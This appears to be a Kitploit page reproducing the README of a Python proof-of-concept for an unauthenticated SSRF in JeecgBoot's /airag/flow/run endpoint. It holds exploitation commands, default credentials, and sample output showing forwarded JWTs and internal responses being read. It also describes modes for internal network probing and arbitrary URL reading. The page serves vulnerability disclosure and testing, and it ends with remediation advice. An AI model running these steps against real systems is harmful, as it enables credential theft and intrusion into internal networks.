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CVE-2026-126997 — Python PoC for CVE-2026-126997, an unauthenticated SSRF in JeecgBoot /airag/flow/run that forwards X-Access-Token credentials and returns full internal responses. | Kitploit
Tools/GitHubGitHub/evenomn/cve-2026-126997
ReconnaissanceVulnerability AnalysisExploitationWeb Application ExploitationData ExfiltrationWeb SecurityPenetration Testing
GitHubevenomn/cve-2026-126997

CVE-2026-126997

Python PoC for CVE-2026-126997, an unauthenticated SSRF in JeecgBoot /airag/flow/run that forwards X-Access-Token credentials and returns full internal responses.

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CVE-2026-126997 POC

JeecgBoot flow-run endpoint SSRF / credential forwarding vulnerability reproduction tool (with full echo exploitation)

⚠️ For authorized security testing and learning research only. Testing without written authorization from the target system is illegal, and users bear all consequences themselves.


Vulnerability Information

ItemContent
CVE IDCVE-2026-126997 (disclosed 2026-11-12)
Affected productJeecgBoot ≤ 3.9.6
Vulnerability typeCWE-918 Server-Side Request Forgery (SSRF)
Vulnerability locationorg/jeecg/modules/airag/flow/* — /airag/flow/run endpoint, RestTemplate.exchange
CVSS5.5 ~ 7.3 (varies by scoring source)

Vulnerability Principle

POST /airag/flow/run is an @IgnoreAuth anonymous endpoint that can execute any enabled AI flow. The HTTP node (LiteFlow component) in the flow initiates HTTP requests from the server side, and there are three problems:

  1. The {{domainURL}} placeholder is taken from the request Host header — forging the Host controls the server-side request target;
  2. The {{param}} placeholder is taken from the anonymous request's inputParams — combined with a parameterized flow, this enables full control of any URL;
  3. TokenUtils.getTokenByRequest places the caller's X-Access-Token verbatim into the forwarded request headers — credentials are sent to the SSRF target (credential theft).

Moreover, the HTTP node writes the response's body / statusCode into the flow output, which is returned with the run's SSE response — SSRF with echo (the response content of internal network services can be read directly).

The URL of the "示例_Http节点" (Example_HttpNode) flow (id 1900029596154232833) that comes with the default initialized database uses {{domainURL}}, so Host pollution-type SSRF can be triggered without any write permission.

POC Files

FilePurposePrerequisites

Authentication boundary note (important): The CVE itself (SSRF + credential exfiltration) is fully unauthenticated — it can be reproduced with zero account using poc_cve_2026_126997.py. "Arbitrary path full echo" (_full.py) is an enhanced exploitation of this repository: the URL path of the default built-in flow is hardcoded, so to fetch an arbitrary path you must first import a url={{url}} parameterized flow (a one-time action; after that, each trigger remains purely anonymous), which therefore requires an import account. This is not a necessary condition for triggering the CVE.

| poc_cve_2026_126997.py | CVE itself reproduction (fully unauthenticated): zero account, zero import, forge Host to trigger the default built-in flow; built-in receiver displays the callback request; with -u/-p can demonstrate credential theft (JWT lands at the receiver and is automatically decoded to the owning user) | None (purely anonymous) | | poc_cve_2026_126997_full.py | Enhanced: arbitrary URL full echo: import a URL parameterized flow (url={{url}}), then each anonymous run retrieves the response content and status code of any URL; on failure, outputs a three-state probe conclusion (domain does not exist / port closed / connection timeout) | First import requires an account with airag:flow:add permission (admin/aiadmin/vue3 level, one-time); on 3.9.5, because importFlow has no permission check, any logged-in account works; after import, triggering is fully anonymous |

Both scripts depend only on the Python 3 standard library.

Usage

1. Verification Mode (anonymous, Host header pollution)

# 接收器自动起在本机,Host 自动指向接收器
python3 poc_cve_2026_126997.py -t http://TARGET:8088/jeecg-boot

# 演示凭证窃取:调用者 JWT 会随 SSRF 请求落到接收器
python3 poc_cve_2026_126997.py -t http://TARGET:8088/jeecg-boot -u test -p Passw0rd

Output example:

[+] 收到 1 个回连请求 —— CVE-2026-126997 复现成功:
--- HIT 1: POST /jeecg-boot/test/jeecgDemo/add HTTP/1.1
    X-Access-Token: eyJhbGciOiJIUzI1NiIs...
    [!!] 外带凭证属于用户: test (clientType=APP) —— JWT 已落入接收器

II. Full Echo Mode (Arbitrary URL Reading)

# -au/-ap:导入流程用的账号(仅首次需要);-url:要目标服务器取回的完整地址
python3 poc_cve_2026_126997_full.py \
    -t http://TARGET:8088/jeecg-boot \
    -au jeecg -ap 123456 \
    -url http://内网地址:端口/任意路径

# 导入后每次触发均为匿名;--keep 保留流程(默认用完自动删除)
# -u/-p 可选:以指定账号触发(注意:该账号 JWT 会被转发给 -url 目标)

Output example:

[+] SSRF 全回显成功  HTTP 200
[+] 响应体 (37 字节):
------------------------------------------------------------
flag{...}
------------------------------------------------------------

III. Internal Network Probing (Three-State Discrimination of Failure Forms)

[!] 请求已发出但未获响应 —— SSRF 探测结果: 端口关闭/拒绝连接
[!] 目标服务器反馈: ...Connection refused

Test Environment

  • JeecgBoot 3.9.6 (official jeecg-boot release package, default configuration, default initialized database)
  • Verified: anonymous SSRF, credential forwarding (JWT exfiltration and decoding to identify the owning user), arbitrary URL full-echo read

Known Exploitation Points

  • In LiteFlow EL, the http component must be written as http.tag('node id') (type name prefix); keep this in mind when building custom flows;
  • On 3.9.6, importFlow has a permission gate (airag:flow:add), so the full-echo flow must be imported in one go;
  • On 3.9.5, importFlow has no permission check, so any logged-in account can complete the import and then exploit it anonymously throughout.

Remediation Recommendations (for vendors/self-hosted users)

  1. Remove @IgnoreAuth from /airag/flow/run;
  2. Change {{domainURL}} to take its value from trusted configuration; the Host header must not be used as a source;
  3. Strip X-Access-Token / X-Tenant-Id when the HTTP node forwards requests;
  4. Add intranet blacklist/domain whitelist validation to the HTTP node's target address.

References

  • CVE-2026-126997 — CVE.org
  • Rapid7 Vulnerability Database
  • VulDB

License

MIT

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